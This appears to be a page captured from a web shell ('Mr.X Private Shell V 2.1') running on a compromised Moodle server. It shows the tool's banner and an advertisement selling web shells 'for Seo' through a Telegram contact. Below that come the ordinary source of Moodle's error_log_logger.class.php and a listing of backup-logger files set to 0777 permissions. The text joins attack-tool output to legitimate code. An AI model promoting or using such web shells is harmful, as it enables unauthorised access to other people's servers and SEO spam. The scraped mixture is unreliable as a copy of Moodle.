__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* @package moodlecore
* @subpackage backup-logger
* @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
/**
* Logger implementation that sends messages to error_log()
*
* TODO: Finish phpdocs
*/
class error_log_logger extends base_logger {
// Protected API starts here
protected function action($message, $level, $options = null) {
if (PHPUNIT_TEST) {
// no logging from PHPUnit, it is admins fault if it does not work!!!
return true;
}
return error_log($message);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| tests | Folder | 0777 |
|
|
| base_logger.class.php | File | 6.1 KB | 0777 |
|
| core_backup_html_logger.class.php | File | 1.51 KB | 0777 |
|
| database_logger.class.php | File | 2.89 KB | 0777 |
|
| error_log_logger.class.php | File | 1.3 KB | 0777 |
|
| file_logger.class.php | File | 3.89 KB | 0777 |
|
| output_indented_logger.class.php | File | 1.64 KB | 0777 |
|
| output_text_logger.class.php | File | 1.49 KB | 0777 |
|